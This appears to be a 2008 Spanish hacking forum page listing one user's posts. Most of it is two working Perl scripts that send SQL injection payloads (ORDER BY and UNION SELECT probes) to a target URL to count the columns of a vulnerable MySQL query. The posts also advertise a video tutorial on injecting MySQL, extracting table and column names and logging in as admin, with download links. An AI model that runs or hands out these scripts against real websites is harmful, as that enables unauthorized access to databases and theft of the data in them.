Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Login-Root

#21
Scripting / [+] MySQL Column Finder
5 Julio 2008, 19:41 PM
Bueno, mi primer script en perl, no sean muy duros :D

#!/usr/bin/perl

###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL utilizando la sentencia ORDER.   ###
# By Login-Root                                                                         ###
# MSN: no.more@passport.com                                                             ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r                        ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG                                          ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[0])
{
     print "\n\n## c0ded by Login-Root | 2008 ##";
     print "\n\nUso: perl $0 http://www.web.com/index.php?id=\n\n";
     exit (1);
}

$column=1;
while (5)
{
    $sql=$ARGV[0]."-1+order+by+".$column."/*";
    $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

    if($contenido=~ /mysql_fetch_/ )
    {
         print "\n[+] Fallo el intento de obtener $column columnas\n";
         $column --;
         if ($column == 0)
         {
             $column ++;
         }
         $sql=$ARGV[0]."-1+order+by+".$column."/*";
         print "[+] La web tiene $column columnas:\n\n";
         print "$sql\n\n";
         print "## c0ded by Login-Root | 2008 ##\n\n";
         exit (1);
     }
     else
     {
         print "\n[!] Sin error al intentar con $column columnas";
         $column ++;
     }
}



Ejemplo de uso (Con ORDER):





Mismo code, pero utilizando la sentencia UNION:

#!/usr/bin/perl

###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL  utilizando la sentencia UNION.  ###
# By Login-Root                                                                         ###
# MSN: no.more@passport.com                                                             ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r                        ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG                                          ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[0])
{
     print "\n\n## c0ded by Login-Root | 2008 ##";
     print "\n\nUso: perl $0 http://www.web.com/index.php?id=\n\n";
     exit (1);
}

$column=0;

while (5)
{
    $union.=','.$column;
    if ($column == 0)
    {
        $union='';
    }
    $sql=$ARGV[0]."-1+union+all+select+0".$union."/*";
    $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

    if($contenido=~ /mysql_fetch_/ )
    {
         $column ++;
         print "\n[!] Fallo el intento de obtener $column columnas";
    }
     else
     {
         $column ++;
         print "\n[+] La web posee $column columnas\n\n";
         print "$sql\n\n";
         print "## c0ded by Login-Root | 2008 ##\n\n";
         exit (1);
         
     }
}



Ejemplo de uso (Con UNION):





Gracias de nuevo boER!, por enseñarme algunas cosas básicas de Perl.

Saludos.
#22
El metodo se aplica a cualquier servidor corriendo MySQL y que, obviamente, éste sea vulnerable a MySQL Inyection. Lo que si no se da siempre son los nombres de las tablas/columnas ni tampoco el numero de columnas.


Saludos.
#23
Holas de nuevo ;), acá les hice un videotutorial de como hacer inyecciones en MySQL, obtener el numero y los nombres de las columnas, los nombres de las tablas y logueándose como admin.

Descarguen & comenten ;)


Download:


Mirror 1:

http://rapidshare.com/files/124280292/sql.7z.html

Mirror 2:

http://www.badongo.com/file/10011380

Mirror 3:

http://fastuploading.com/download.php?id=5908F9251

Cualquier duda/critica/comentario será bien recibida.


Saludos...